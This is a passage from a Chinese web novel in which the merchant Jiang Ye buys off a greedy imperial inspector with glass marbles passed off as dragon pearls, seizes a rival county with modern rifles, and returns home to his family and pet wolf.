三万人,这可是一支军队的数量啊。
一个商人,一个县令,私自收拢三万流民,还用妖法蛊惑人心,这想干什么?
**!
对,这就是**!
林震冲到书案前,铺开奏折。
“青石县令沈砚秋,勾结妖人江夜,私藏流民三万,意图不轨。妖言惑众,收买人心,聚众谋逆,其心可诛……”
在这个皇权飘摇的乱世,朝廷对什么都不在乎,唯独对谋反二字,那是宁可错杀一千,绝不放过一个。
“来人!”
林震吹干墨迹,将奏折封入火漆筒中,唤来心腹。
“八百里加急!送往京城!”
“是!”
看着心腹消失在夜色中,林震跌坐在椅子上,嘴角勾起一抹阴冷的笑。
“江夜,沈砚秋……你会救人有什么用?这官场上的**术,你们还嫩着呢。”
……
半月后,京城。
朝堂之上,暗流涌动。
一封来自边陲小县的加急奏折,如同巨石投入深潭。
户部侍郎刘大有看着手中的奏折,眉头紧锁。
若是真的有人能治愈瘟疫,那是祥瑞。
可若是这人手里握着三万对自己死心塌地的暴民……那就是隐患。
“刘大人,陛下龙体欠安,此事由内阁代批。”首辅张正居高临下地看着他,“你怎么看?”
刘大有眼珠一转,拱手道:“首辅大人,宁可信其有,不可信其无。青石县地处偏远,若真有妖人作乱,恐成大患。
下官愿亲自前往查探,若属实,定斩不饶;若有误,也能安抚民心。”
张正深深看了他一眼,微微颔首。
“准。”
“领命!”
刘大有弯腰拱手,沈声领命。
第254章 玻璃弹珠换太平
数日后,青石县界。
几辆挂着“户部”旗号的马车,在泥泞的官道上颠簸前行。车轮卷起黄泥,护送的兵丁个个骂骂咧咧,满脸晦气。
“大人,前面就是青石县地界了。”随从隔着帘子喊了一声。
车帘掀开,露出一张肥硕油腻的脸。户部侍郎刘大有皱着眉,捂着口鼻,仿佛这空气里都带着穷酸气。
“怎么是这种鸟不拉屎的地方,这能有什么油水?本官不是要白跑一趟了吧!”刘大有哼了一声。
马车向前行驶了百余米,突然车身一稳,原本那种令人作呕的颠簸感瞬间消失。
刘大有一愣:“停了?”
“回大人,没停,还在走呢!”
“胡说!还在走怎么一点动静都没?”
刘大有探出头去,这一看,整个人都愣住了。
只见原本坑坑洼洼的黄土路到了这里戛然而止,取而代之的,是一条宽阔平整、灰白如石的怪路。
路面坚硬如铁,马蹄踩在上面发出清脆的哒哒声,车轮滚过,竟无半点起伏。
“这……这是何物铺就?”刘大有瞪大了眼。
这路面比京城的御道还要平整!
更让他震惊的是路上的景象。
寒冬腊月,别的地方早已闭户绝迹,可这条路上,商队络绎不绝。
一车车煤炭、木材往里拉,一车车精美的纸张、布匹往外运。
那些商贾脸上没有半点愁苦,反而个个红光满面。
刘大有是个识货的。
光是这条路,造价恐怕就是个天文数字。
再加上这热闹的商贸……
他眼中的嫌弃迅速退去,取而代之的是两团熊熊燃烧的贪婪之火。
“好一个青石县,好一个沈砚秋。”刘大有舔了舔干裂的嘴唇,那眼神就像饿狼看见了肥羊,“居然藏着这么大的家底哭穷?这次不刮下几层皮来,老子就不姓刘!”
刘大有放下帘子,搓了搓冻红的手,那股子贪婪的火苗在心底越烧越旺。
林震那个蠢货,只知道告发谋反,却不知道这青石县如今是一头多肥的羊。
……
一个时辰后,刘大有下了马车,站在青石县县衙门口。
沈砚秋随着一干差役出来迎接。
“下官见过刘大人。”
刘大有不动声色的打量着沈砚秋,眼中不由得闪过一丝轻蔑,他淡淡的嗯了一声。
“带本官去大堂吧,本官有事要询问沈大人。”
沈砚秋心中微的动,低下的眉眼闪过一丝寒意,面上不显。
“刘大人,这边请。”
沈砚秋领路,一行人浩浩荡荡走进县衙。
县衙大堂,气氛凝重得仿佛能滴出水来。
刘大有一道大堂,便坐在主位上。
等候在一旁的下人放上清茶。
刘大有屏退下人,端起茶盏,踱步走到沈砚秋面前,目光肆无忌惮地在她身上打转。
“沈县令可知,林震参你们谋反,私藏流民,这可是诛九族的大罪。”
“刘大人,青石县收容流民,乃是为了大宣百姓的性命,何来谋逆一说?”沈砚秋闻言,强压着怒火,声音清冷。
“沈县令。”刘大有吹了口热气,皮笑肉不笑。
你私自收容,不报朝廷,这不是准备养私兵是什么?”
“你……”沈砚秋体面全无,凤眸含怒,指节捏得发白。
“不过嘛……”刘大有话锋一转,那双浑浊的眼睛在沈砚秋身上肆意打量了一番。
虽是男人,但这身段模样,竟比京城教坊司的头牌还要勾人。
可惜是个男子,若是女子……
刘大有收回龌龊的心思,淡淡道:“本官也不是不通情理之人。此事可大可小,全看沈县令懂不懂事了。”
“大人想要什么?”
“十万两白银。”刘大有狮子大开口,“另外,本官这一路舟车劳顿,身边缺些伺候的人。
听闻青石县水土养人,你给本官挑五十名身家清白的处子,送去驿馆。”
沈砚秋猛地抬头,眼中怒火喷涌:“刘大人!你是朝廷命官,还是山匪强盗?!”
十万两也就罢了,五十名处子?
这简直是把青石县百姓的尊严踩在脚底下!
“放肆!”刘大有猛地一拍惊堂木,“沈砚秋,你别给脸不要脸!信不信本官现在就写折子,让大军踏平你这青石县!”
就在沈砚秋即将爆发之际,一道慵懒的声音从门口传来。
“刘大人稍安勿躁。”
江夜披着大氅,闲庭信步地跨过门槛。
沈砚秋见他来了,紧绷的肩膀微微一松,刚要开口,却**夜抬手制止。
江夜走到她身边,借着身形遮挡,轻轻捏了捏她的手心。
那种温热干燥的触感,让沈砚秋心头的火气瞬间散了大半。
刘大有看到江夜,冷哼一声:“你就是那个江夜?那个会妖法的商人?”
“妖法不敢当,一点糊口的小手艺罢了。”
江夜也不客气,径直拉过一张椅子,坐在刘大有对面。
“刘大人,明人不说暗话。”江夜身子前倾,压低声音,“十万两银子,青石县确实拿不出来。那些钱都变成水泥铺在路上了,总不能让我把路撬了卖石头吧?”
刘大有脸色一黑:“没钱?没钱那就等着掉脑袋吧!”
“哎,大人别急啊。”
江夜从怀里掏出一个巴掌大的紫檀木盒,放在桌上,手指轻轻摩挲着盒盖上的雕花。
“银子那是俗物,配不上大人的身份。我这儿有些真正的好东西,乃是当年我从一处海外遗迹中得来的,原本是想留着传家,如今为了保命,只能忍痛割爱了。”
刘大有狐疑地看着那个盒子。
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紫檀木倒是好东西,但这盒子不大,能装什么值钱玩意儿?
“什么东西?别拿些破烂来糊弄本官。”
江夜神秘一笑,缓缓打开盒盖。
“啪嗒。”
随着盒盖开启,一股光芒照亮了刘大有的眼睛。
盒子里铺着黑色的丝绒,在那漆黑的底色上,静静地躺着二十颗圆滚滚、晶莹剔透的珠子。
每一颗都有拇指大小,通体透明,内里似乎还封存着几瓣彩色的花纹,在透过窗棂射进来的阳光下,折射出梦幻般的光彩。
刘大有呼吸一滞。
他这辈子见过不少好东西,珍珠玛瑙、翡翠白玉,家里堆积如山。
但这般纯净、透明、毫无杂质的“宝珠”,他闻所未闻!
“这……这是……”刘大有声音发颤,不由自主地伸出手。
“东海龙珠。”
江夜面不改色地胡扯,“传闻是龙宫里的装饰,凡人得之一颗,可保家宅平安,延年益寿。这东西,有价无市。”
其实这就是兵工厂那边生产镜子时,剩下的高透玻璃边角料。
江夜觉得扔了可惜,就让人磨成了弹珠,本来打算给以后出生的孩子当玩具,没想到先用在这儿了。
刘大有小心翼翼地捻起一颗,举到眼前。
透过珠子,他看到的世界都变得光怪陆离。
太完美了。
“这世间竟有如此神物……”刘大有喃喃自语,眼中的贪婪已经化作了狂喜。
这一颗珠子,若是拿到京城的黑市上,那些王公贵族怕是要抢破头!
一千两?不,一万两一颗都有人要!
这里足足有二十颗!
那是多少钱?
刘大有只觉得脑子嗡嗡作响,心脏狂跳,差点背过气去。
“贤弟!”
刘大有猛地合上盖子,一把将木盒揣进怀里。
他脸上的横肉瞬间舒展开来,挤出一个亲切笑容,一把抓住江夜的手,“贤弟啊!你怎么不早拿出来?误会!这都是误会啊!”
江夜强忍着把手抽回来的冲动,脸上挂着谦卑的笑:“那……这谋反的事?”
“什么谋反?谁谋反?”
刘大有眼睛一瞪,正气凛然,“青石县那是大宣朝的模范县!百姓安居乐业。这分明是那林震嫉贤妒能,诬告忠良!”
他拍着胸脯,唾沫星子横飞,“贤弟放心,哥哥我回京之后,定要在陛下面前为你们请功!青石县不仅无过,反而有大功!这是祥瑞之地啊!”
江夜心中冷笑。
这变脸的速度,比翻书还快。
古人诚不欺我,有钱能使鬼推磨。
“那就多谢刘大哥了。”江夜顺杆爬,拱手道,“只要能保住青石县百姓的安宁,这点身外之物,算不得什么。”
“哎,贤弟高义!”刘大有紧紧捂着胸口鼓囊囊的盒子,生怕它飞了。
第255章 寇可往,我亦可往
送走了欢天喜地的刘大有,县衙大堂总算清静下来。
沈砚秋便身子一软,跌坐在太师椅上。
“那可是龙珠……”沈砚秋看着正悠闲喝茶的江夜,“你就这么送出去了,那可是价值连城的宝贝!”
她虽然不懂行,但那珠子的成色,确实是世间罕见。
江夜放下茶盏,从袖口里随手抓出一把同样的珠子,哗啦一声洒在桌上。
“这玩意儿?”江夜捡起一颗,对着光照了照,“工厂造玻璃镜子剩下的边角料,让人磨圆了而已。
本来打算以后给咱们孩子当弹珠玩,你要是喜欢,我让人给你磨一缸。”
“边角……料?”沈砚秋愣了一下,而后嘴角抽搐。
把边角料当龙珠送给朝廷大员,还把人家忽悠得感恩戴德?
“刘大有贪得无厌,但也好糊弄,只要他觉得赚了,这事就算翻篇了。”江夜收起笑容,眼底闪过一丝寒芒,“不过,这事没完。”
“你想怎么样?”沈砚秋看着他那副表情,心里没来由地一跳。
“来而不往非礼也。”江夜站起身,走到门口,看着漫天飞雪,“林震想借刀**,把咱们往死里整。我要是不回敬他一份大礼,岂不是显得我江某人不懂礼数?”
沈砚秋皱眉:“你要对付林震?他是朝廷命官,若是杀了他,性质就变了。”
“杀他?”江夜冷笑一声,“那太便宜他了。我要他的长林县。”
……
当天夜里。
夜枭小队各个身穿黑色紧身衣列队整齐。
每个人身上都背着特制的干粮袋。
“记住任务了吗?”江夜站在风雪中,声音透着一股子肃杀。
“渗透,造势。”为首的王二柱低声回应。
“去吧。”江夜一挥手,“别让长林县的百姓等太久。”
二十道黑影如同鬼魅般融入夜色,朝着长林县的方向疾驰而去。
……
长林县,死气沉沉。
街道上积雪过膝,也没人清扫。
两旁的店铺大多关着门,偶尔有几家开着的,也是门可罗雀。
城内唯一的生机,大概就是那几家还在施粥的富户门口,挤满了面黄肌瘦的百姓。
几个穿着破烂棉袄的汉子缩在墙根下避风,一个个面黄肌瘦,眼神麻木。
“听说了吗?”
一个脸上抹得漆黑,看不清面容的年轻人,压低声音道,“隔壁青石县,在施粥呢。”
墙根下的汉子眼皮都没抬:“施粥有个屁用,喝得全是水,还得把命搭进去。”
“那可不是水。”年轻人神神秘秘地从怀里掏出半个白面馒头,狠狠咬了一口,那香味瞬间在冷风中炸开。
“看见没?这是我在那边亲戚给的。那边现在归一个叫江夜的大官人管,说是活菩萨转世!”
几个汉子的眼睛瞬间绿了,死死盯着那半个馒头,喉结疯狂滚动。
“真……真的?”
“骗你们是孙子!”年轻人几口把馒头吞下肚,意犹未尽地舔了舔手指,“那边现在不光管饭,还发棉衣。只要干活,顿顿有肉!而且那边的神医能治瘟疫,去了就是捡条命!”
“顿顿有肉……”
这四个字对于快要饿死的人来说,比圣旨还管用。
“可是……县太爷封了城,出不去啊。”有人绝望道。
“林县令不让咱们走,那是想让咱们给他陪葬!”
“凭啥咱们就得在这儿等死?”
类似的对话,在长林县的各个角落悄然上演。
酒肆里、茶馆中、难民堆里,总有几个面生的人,绘声绘色地描述着青石县的安逸。
短短三日,长林县的人心变了。
原本麻木等死的眼神里,多了一团名为“求生”的火苗,那火苗最后变成了对官府的滔天恨意。
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……
三日后。
青石县校场。
寒风猎猎,旌旗招展。
五百名精壮汉子列队而立,鸦雀无声。
这些人,是江夜从几万流民和死士中精挑细选出来的,名为神机营。
他们头戴M35式钢盔,脚蹬牛皮军靴,腰间挂着手弹。
最引人注目的,是他们手中那一杆杆泛着幽蓝冷光的56式**。
神机营。
这是江夜给这支部队起的名字。
“东家,队伍集结完毕。”王囤一身特战装备,背着把陌刀,手里却端着一把轻**。
江夜骑在一匹黑马上,看着眼前这支超越时代的军队,心中豪气顿生。
“出发。”
江夜没有多余的废话,只有两个字。
五百人齐刷刷地转身,动作整齐划一,发出的脚步声沉闷如雷,震得树梢上的积雪簌簌落下。
……
长林县城头。
林震裹着厚厚的大氅,手里捧着暖炉,却依然止不住地打哆嗦。
“大人,探子回报,青石县的人马来了!”一名校尉跌跌撞撞地跑上来,头盔都歪了。
“慌什么!”林震踹了他一脚,色厉内荏道,“他们有多少人?”
“约……约莫五百人。”
“几百人?”林震一愣,随即狞笑起来,“区区五百人也敢来攻城?江夜是疯了吗?”
他原本以为江夜会带几万流民来冲城,那样他还真怕。
毕竟流民人多势众,一旦冲起来,那就是蚁多咬死象。
区区五百人,便不必担心。
“传令下去!”林震猛地一挥手,眼中满是狠毒,“把县衙所有的弓箭手都调上来!只要他们敢靠近,就给我射成刺猬!”
“是!”
守备官领命而去。
远处,地平线上出现了一条黑线。
随着距离越来越近,林震终于看清了这支队伍。
第256章 开门,分粮!
林震站在城楼上,原本那一丝因为对方人数过少而产生的轻蔑,逐渐凝固在了脸上。
太整齐了。
五百人,步伐如一,甚至连呼吸似乎都在同一个频率上。
沉闷的脚步声,像是一柄重锤,一下一下敲在守城士卒的心坎上。
“快!都给我站起来!”
林震察觉到了周围气氛的不对劲,猛地踹了一脚身旁缩着脖子的兵丁,“弓箭手呢?给我射!射死他们!”
城墙上乱作一团。
百来个衣衫单薄的弓箭手哆哆嗦嗦地站成一排,手指冻得连弓弦都拉不开。
有的弓身受潮,刚一发力,“崩”的一声,弦断了,抽得那士兵捂着脸惨叫。
稀稀拉拉的箭矢软绵绵地飞出城墙,在空中划出一道可笑的抛物线,然后一头栽进雪地里。
“这……”林震傻眼了。
城下的雪地上,王囤看着那几根插在前面几十米外的箭矢,咧开大嘴,露出一口白牙,转头看向江夜。
“东家,这林震是想笑死咱们,好继承咱们的**吗?”
江夜骑在马上,面无表情地看着城楼上那个跳脚的身影。
“一群乌合之众。”
他缓缓举起右手,黑色的皮手套在空中显得格外醒目。
原本还在行进的队伍瞬间静止。
“第一列,蹲!”
哗啦!
动作整齐划一,前排一百名士兵单膝跪地,**抵肩,黑洞洞的枪口微微抬起,死死锁定了城楼。
“第二列,立!”
后排士兵错位站立,同样举枪。
这一连串行云流水的动作,把城墙上的守军看愣了。
“他们那是拿的什么?烧火棍?”林震趴在垛口上,眯着眼睛想看清楚,“不管是什么,这么远的距离,难道还能……”
江夜的手,猛然下劈。
“放!”
砰砰砰砰——!
密集的爆鸣声瞬间撕裂了长林县死寂的空气。
枪口喷出的火舌,在阴沉的雪天里宛如连成一片的雷霆。
城墙上的守军甚至没来得及看清发生了什么。
林震身边一个正探头张望的亲信,脑袋像是被重锤砸烂的西瓜,瞬间炸开。
“啊——!”
紧接着,惨叫声此起彼伏。
那些原本以为站在安全距离看热闹的守军,如同被割倒的麦子般倒下一片。
56式半自动**的穿透力,在这个时代就是降维打击。
那些腐朽的木盾、单薄的皮甲,在旋转的弹头面前脆得像纸。
仅仅一轮齐射。
城楼上站着的人,少了一半。
剩下的,全都吓瘫在地上,裤裆里屎尿齐流。
“妖法!这是妖法!”
林震抹了一把脸上的脑浆,整个人抖得像筛糠,连滚带爬地缩到墙根角,“躲起来!”
城下,**骤停。
硝烟在大雪中弥漫,带着一股刺鼻却的味道。
江夜没有下令继续射击。
**不是目的,诛心才是。
他策马向前几步,声音透着一股不容置疑的威严:“喊话。”
王囤心领神会,深吸一口气,扯着嗓子吼道:“东家有令!”
五百神机营战士齐声高呼,声浪如雷,震动苍穹:
“降者不杀!开门分粮!”
“降者不杀!开门分粮!”
这八个字,比刚才的**更具杀伤力。
城墙上,那些抱着头瑟瑟发抖的守军,动作僵住了。
分粮?
在这个饿殍遍野的冬天,这两个字简直比皇上的圣旨还要有魔力。
一个年轻的小校,手里握着一把卷了刃的破刀,肚子适时地发出了一声雷鸣般的咕噜声。
他家里已经断粮三天了,老娘昨天还在啃树皮。
“真的……分粮吗?”他喃喃自语,眼神空洞地看向城外。
“混账!谁敢动摇军心!”
林震的一个心腹督战官,手里提着带血的钢刀冲了过来,一脚踹翻那个小校,“那是妖人的诡计!谁敢提投降,老子砍了他!”
说着
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,他举刀就要砍向旁边一个想要探头张望的士兵。
“噗嗤。”
一声闷响。
督战官不可置信地瞪大了眼睛,低头看着从自己胸口透出来的刀尖。
那个被踹翻的小校站在他身后,双手死死握着刀柄,脸上带着一种饿极了的疯狂和狰狞。
“老子……想吃饭。”
小校拔出刀,鲜血喷涌。
周围的守军都看傻了。
“弟兄们!林震不给咱们活路,咱们自己找活路!”小校拔出刀,指着城下,“江大人那是活菩萨!开了门就有饭吃!反了!”
“反了!”
“开门!我们要吃饭!”
压抑已久的怒火瞬间爆发。
城墙上乱作一团。
那些原本就心怀怨恨的县兵和民夫,像疯了一样冲向林震的亲信。
林震看着周围那一双双血红的眼睛,终于感到了彻骨的恐惧。
“你们干什么!我是朝廷命官!我是县令!你们这是**……”
话音未落,无数只拳头和脚便落在了他身上。
城下。
江夜静静地看着这一幕,脸上没有丝毫波澜。
“东家,成了。”王囤嘿嘿一笑。
伴随着一阵沉闷的“吱呀”声。
那扇紧闭了数月,隔绝了生死的厚重城门,缓缓打开。
“吱呀——”
门后,不是列阵的士兵。
而是黑压压的百姓。
他们衣衫褴褛,面黄肌瘦,有的甚至连站起来的力气都没有。
但此刻,他们都拼尽全力跪在雪地里,朝着江夜的方向磕头。
哭声震天。
“青天大老爷啊!”
“求大人赏口饭吃吧!”
江夜策马缓缓前行,马蹄踏过护城河上的吊桥,发出清脆的声响。
他看着道路两旁那些瘦骨嶙峋的手,看着那一双双充满希冀的眼睛。
这长林县,烂透了。
但也正是因为烂透了,才好推倒重来。
“进城。”
江夜轻声下令。
第257章 县令不如狗
长林县衙后院,乱成了一锅粥。
往日里那些争风吃醋的姨太太们,此刻正为了几件金银首饰撕扯在一起。
林震根本顾不上这些平日里的心头肉。
他此时怀里死死揣着个沉甸甸的包袱,正费力地往后花园假山后面钻。
前门已经被神机营堵**,后门也被那个叫王囤的黑大个守着。
唯一的出路,就是那个平日里用来给野狗进出的狗洞。
林震那满是肥油的肚子卡在洞口,蹭掉了一层皮,疼得他龇牙咧嘴,却不敢发出半点声响。
“该死的江夜……该死的贱民……”
他心里咒骂着,手脚并用,好不容易才把那肥硕的身躯从洞里挤了出去。
林震心中一喜,刚想爬起来狂奔,视线里却突然出现了一双破破烂烂的草鞋。
再往旁边看,是另一双连脚趾头都露在外面的烂布鞋。
林震浑身一僵,缓缓抬起头。
几十个衣衫褴褛、面黄肌瘦的百姓,正围成一个半圆,死死地盯着他。
这些人的眼睛里没有往日的畏惧和躲闪,只有愤怒。
“林……林大人?”
领头的一个汉子手里拎着根烧火棍,嘴角咧开一个森然的弧度,“您这是要往哪儿去啊?”
林震吓得一屁股坐在雪地上,怀里的包袱散开,金条、银锭滚了一地。
“别……别杀我!”
林震哆哆嗦嗦地往后缩,“这些钱……都给你们!都给你们!只要放我走……”
那汉子没看地上的金银,而是一脚踩在林震那只保养得白白嫩嫩的手背上,用力碾了碾。
“啊——!”杀猪般的惨叫声响起。
“钱?”汉子冷笑,弯腰一把薅住林震的衣领,像拖死狗一样把他拽了起来,“俺娘饿死的时候,你在哪?俺闺女被你小舅子抢走的时候,你在哪?”
“打死他!”
“剥了他的皮!”
愤怒的人群一拥而上。
没有刀枪,只有拳头、指甲、牙齿。
所有的怨恨在这一刻宣泄而出。
……
县衙大堂。
江夜坐在原本属于林震的太师椅上,手里把玩着那枚在此刻显得有些讽刺的官印。
大堂外传来一阵喧哗。
紧接着,一团血肉模糊的东西被扔了进来。
林震此时已经看不出人样了,官服被撕成布条,脸上青一块紫一块,一只眼睛肿得像桃子,嘴里还塞着一团不知哪来的臭抹布。
几个百姓代表跪在堂下,那个领头的汉子磕了个头,声音嘶哑:“草民……把这狗官抓来了,请江大人发落!”
江夜瞥了一眼地上还在微微抽搐的林震,眼中闪过一丝厌恶。
甚至懒得起身。
“我不杀他。”
江夜淡淡开口。
林震闻言,肿胀的眼睛里迸发出一丝求生的光芒,嘴里呜呜直叫。
“这种人,杀了脏我的手。”江夜指了指外面,“拉去菜市口,公审。让他听听,这长林县有多少冤魂在找他索命。”
汉子猛地抬起头,眼眶通红,重重地磕了三个响头:“谢青天大老爷!”
林震眼里的光瞬间熄灭,取而代之的是无尽的绝望。
……
当天下午,一张告示贴满了长林县的大街小巷。
内容很简单,只有三条。
废除一切苛捐杂税。
开仓放粮。
治病救人。
原本死气沉沉的县城,瞬间活了过来。
县衙粮仓前,排起了一条看不见尾的长龙。
巨大的粮仓门被推开,谷物的香气扑面而来。
虽然有些陈旧,但在快要饿死的人眼里,这就是世上最香的味道。
“排队!都别挤!人人都有!”
王囤带着神机营的战士维持秩序,手里的大勺敲得震天响。
一个头发花白的老妪颤颤巍巍地走上前,手里捧着一个缺了口的破碗。
当那满满一勺白花花的大米落在碗里,沉甸甸的分量压得她手腕一抖。
老妪愣住了。
她浑浊的眼睛死死盯着碗里的米,伸出干枯的手指捻起一粒,放进嘴里。
硬的,是真的。
“哇——!”
老妪突然跪倒在雪地里,嚎啕大哭,声音凄厉得让人心碎。
“有饭吃了……真的有饭吃了……儿啊,你怎么就没挺到这一天啊!”
这一声哭喊,像是打开了某种开关。
广场上,成千上万的百姓捧着那救命的粮食,齐刷刷地跪倒一片。
没有欢呼,只有压抑太久的哭声,汇聚成一股悲怆的洪流,冲刷着这片被苦难浸透的土地。
他们一边哭,一边朝着江夜所在的方向疯狂磕头,额头撞击地面的声音此起彼伏,哪怕鲜血染红了积雪也浑然不觉。
江夜站在高处,看着这一幕,心里像是堵了一块大石头。
这就是乱世。
人命贱如草芥,一口饭就能让人把你当神仙供着。
……
接下来的半个月,长林县发生着翻天覆地的变化。
授人以鱼不如授人以渔。
一批批印着奇怪符号的白色袋子被运到了田间地头。
“这是啥?白面
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?”
几个老农围着袋子,一脸好奇。
“这叫神肥。”负责分发的士兵照着江夜给的说明书解释,“洒在地里,庄稼能长得比人还高,亩产翻倍!”
老农们面面相觑,显然不信。
这世上哪有这种好东西?
但在江夜如今的威望下,没人敢质疑。
当那些白色的颗粒洒入贫瘠的土地,当第一抹反常的嫩绿在寒冬过后的残雪中钻出来时,所有的质疑都变成了狂热。
与此同时,一条宽阔的水泥路,像是一条灰色的巨龙,迅速连接了青石县和长林县。
两县之间的关卡被撤销,商队畅通无阻。
青石县的琉璃、烈酒源源不断地运往长林,而长林县丰富的木材和皮**也开始流向青石。
原本因为瘟疫而被隔离的流民,在喝了掺杂灵泉水的汤药后,彻底痊愈。
他们没有选择离开,而是就地在长林县落了户,成了江夜最忠实的拥趸。
江夜这个名字,在两县百姓心中,已经不是一个单纯的商人,而是他们的再生父母。
……
长林县衙,书房。
江夜看着手里的一摞账本,揉了揉眉心。
政务这种东西,比**累多了。
“东家,京城那边有消息了。”王囤推门进来,带进一股寒风,“刘大有那个贪官真的把咱们夸出花来了。”
“意料之中。”
江夜合上账本,“只要钱给够,刘大有那种人,连他亲爹都能卖。”
“那咱们接下来一直待在这儿?”王囤挠了挠头,“俺有点想家了,也不知道俺娘腌的咸菜好了没。”
江夜笑了笑,站起身走到窗边,看着外面逐渐消融的积雪。
“我也想家了。”
这半个月的杀伐决断、勾心斗角,让他有些疲惫。
他骨子里,终究还是那个只想过老婆孩子热炕头的小地主。
“这里的事情已经上了正轨。”江夜转过身,“留下一队神机营,让那个叫赵铁柱的小校暂代县尉,负责治安。行政方面,从青石县调几个得力的书吏过来。”
“东家,您这是要……”
“回家。”
江夜伸了个懒腰,眼中满是柔色,“出来这么久,再不回去,她们该着急了。”
……
次日清晨。
没有惊动全城百姓,一辆马车悄然驶出了长林县城门。
守城的士兵认出了那是江夜的车,刚要下跪行礼,却被车帘后伸出的一只手制止。
马车在水泥路上疾驰,车轮滚滚,向着稻花村的方向而去。
第258章 团团圆圆
马车碾过村口的石桥。
王囤勒住缰绳,回头咧嘴一笑:“东家,到家了。”
江夜掀开车帘,看着自家这座扩建过数次的宅院。
青砖黛瓦,门口挂着的红灯笼在雪色中透着暖意。
比起长林县那死气沉沉的衙门,这儿才是人待的地方。
还没等他下车,院门“吱呀”一声开了。
几道倩影早已候在影壁前。
白梦夏身披淡青色狐裘,手里捧着个暖炉,眉眼温婉如画;白梦秋则穿着鹅黄的小袄,垫着脚尖往外张望,活脱脱一只耐不住性子的百灵鸟。
林间雪站在稍后的位置,低眉顺眼,却时不时抬眼偷瞧,眸子里满是水雾。
旁边还站着一位身着劲装红衣的女子,正是慕容晴,腰间虽挂着软鞭,此刻却也收敛了平日的野性,目光灼灼地盯着马车。
“夫君!”
白梦秋眼尖,一声欢呼,提着裙摆就冲了过来,全然不顾地上的积雪。
江夜刚跳下车,就被这丫头撞了个满怀。
“慢点,也不怕摔着。”江夜笑着揉了揉她的脑袋,入手处发丝微凉,显然是在风口站了许久。
“摔了也是夫君心疼。”白梦秋在他怀里蹭了蹭,仰起头,眼圈微红,“这次去了这么久,信也不多写几封,我们都担心坏了。”
白梦夏此时也走了过来,步态端庄,只是那双微微颤抖的手出卖了她内心的激动。
她伸手替江夜理了理有些凌乱的衣襟,柔声道:“回来就好,瘦了些。”
“那是精壮。”江夜顺势握住她的手,入手温软,“家里一切都好?”
“都好,就是孩子们闹腾。”白梦夏浅浅一笑,转头看向身后。
奶娘正抱着两个小子走上来。
“老爷,小少爷今儿个醒得早,像是知道您要回来似的,一直盯着门口瞧呢。”
小家伙粉雕玉琢,眼睛乌溜溜的,也不怕生,盯着江夜看了一会儿,竟咧开没牙的嘴笑了起来,吐出一个晶莹的泡泡。
“这小子,沉了不少。”
江夜伸出手指,在儿子软嫩的脸颊上轻轻戳了一下,那种血脉相连的触感,让他心头最后那一丝杀伐戾气消散得无影无踪。
林间雪走上前,怯生生地叫了声:“夫君。”
“你也辛苦了。”江夜腾出一只手,揽过她的肩膀。
林间雪身子一僵,随即软软地靠在他身侧,眼泪吧嗒吧嗒往下掉。
慕容晴在一旁看着这一家子腻歪,撇了撇嘴,但眼底的笑意却是藏不住的:“行了行了,外头风大,别把孩子冻着,进屋再说吧。”
众人簇拥着江夜往里走。
刚进内院,还没来得及坐下喝口热茶,院墙外突然传来一声嘹亮的狼嚎。
“嗷呜——!”
声音雄浑,中气十足,尾音还带着几分说不出的……得瑟?
江夜眉头一挑:“这傻狼回来了?”
话音刚落,一道银灰色的巨大身影直接从院墙外跃了进来,落地无声,姿态矫健。
正是团子。
这家伙毛发油光水滑,显然在山里的小日子过得不错。
它一落地,没像往常那样直接扑上来撒娇,而是昂首挺胸,迈着六亲不认的步伐走到江夜面前。
它先是用大脑袋蹭了蹭江夜的腿,然后退后两步,冲着院墙方向低低地叫了一声,眼神里满是炫耀,仿佛在说:老大,睁大你的眼睛看好了!
江夜好整以暇地抱着手臂:“搞什么鬼?”
只见墙头上一阵窸窸窣窣,紧接着,一个稍微娇小些的身影探头探脑地露了出来。
那是一头通体乌黑的母狼,唯独四只爪子雪白。
它的体型比团子小了一号,眼神警惕,带着几分山林野兽特有的凶性,但在看到团子后,那股凶性便化作了依恋。
它小心翼翼地跳进院子,紧紧贴在团子身后,警惕地打量着这一院子的人。
“嚯!”江夜乐了,“出息了啊团子,这是拐了个媳妇回来?”
团子得意地摇了摇尾巴,回头冲着那黑狼“嗷呜”一声,又转头看向江夜,一副求表扬的狗腿样。
众女也是看得稀奇。
白梦秋眼睛发亮:“好漂亮的黑狼!那是踏雪乌骓的**色吧?”
慕容晴本就是习武之人,对这种猛兽最是喜爱。
她胆子大,见那黑狼虽然警惕但并未龇牙,便
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试探着伸出手想去摸摸它的头。
“小心。”江夜提醒了一句。
果然,慕容晴的手刚伸过去,那黑狼背上的**瞬间炸起,喉咙里发出低沉的威胁声,身子猛地后缩,露出了森白的獠牙。
它是异种,只认团子,不认人。
就在气氛有些紧张时,团子动了。
这货竟然直接横身挡在黑狼面前,不是为了护着媳妇咬人,而是转过头,伸出舌头在那黑狼炸毛的耳朵上温柔地舔了舔,嘴里发出安抚的呜咽声。
被团子这么一舔,黑狼眼中的凶光肉眼可见地消退下去,温顺地蹭了蹭团子的脖颈,重新趴伏下来。
“这……”慕容晴收回手,有些哭笑不得,“这傻狼还会疼媳妇?”
江夜也是看得啧啧称奇。这团子平时看着二,关键时刻还挺有“暖男”潜质。
“行了,既然带回来了,就是家里的一员。”
江夜转身从旁边的案几上取过一大块生牛肉,那是给晚膳备下的。
他手中短刀一闪,将牛肉一分为二,随手抛了过去。
“接着!”
团子高高跃起,精准地接住其中较大的一块。
若是以前,这货早就躲到角落里护食去了。
可今天,它叼着肉,屁颠屁颠地跑到黑狼面前,把肉放在地上,又用鼻子拱了拱,示意媳妇先吃。
黑狼有些犹豫,看了看江夜,又看了看团子,这才低下头大口撕咬起来。
团子就在一旁蹲坐着,吐着舌头看着媳妇吃,尾巴摇得像个螺旋桨。
白梦夏掩嘴轻笑,“夫君,这黑狼既然进了咱们家门,是不是也该有个名字?”
江夜摸索着下巴,看着这一灰一黑两头狼,恶趣味顿生。
“既然这货叫团子……”江夜打了个响指,“那它媳妇就叫‘圆子’吧。”
“圆子?”白梦秋眨巴着眼睛,“这名字听着……怎么像吃的?”
“团团圆圆嘛,寓意好。”江夜解释道。
团子似乎听懂了,兴奋地仰头嚎了一嗓子,仿佛对这个名字十分满意。
正在吃肉的“圆子”被吓了一跳,抬头迷茫地看了一眼团子,又低头继续干饭。
第259章 狼生赢家
院子里,圆子小口撕扯着肉条,时不时警惕地抬头看一眼周围的人,最后目光总是落在团子身上,带着几分依赖。
江夜蹲下身,伸手想去摸摸圆子的脑袋。
圆子身子一缩,喉咙里发出低沉的呜呜声,护食般地呲了呲牙。
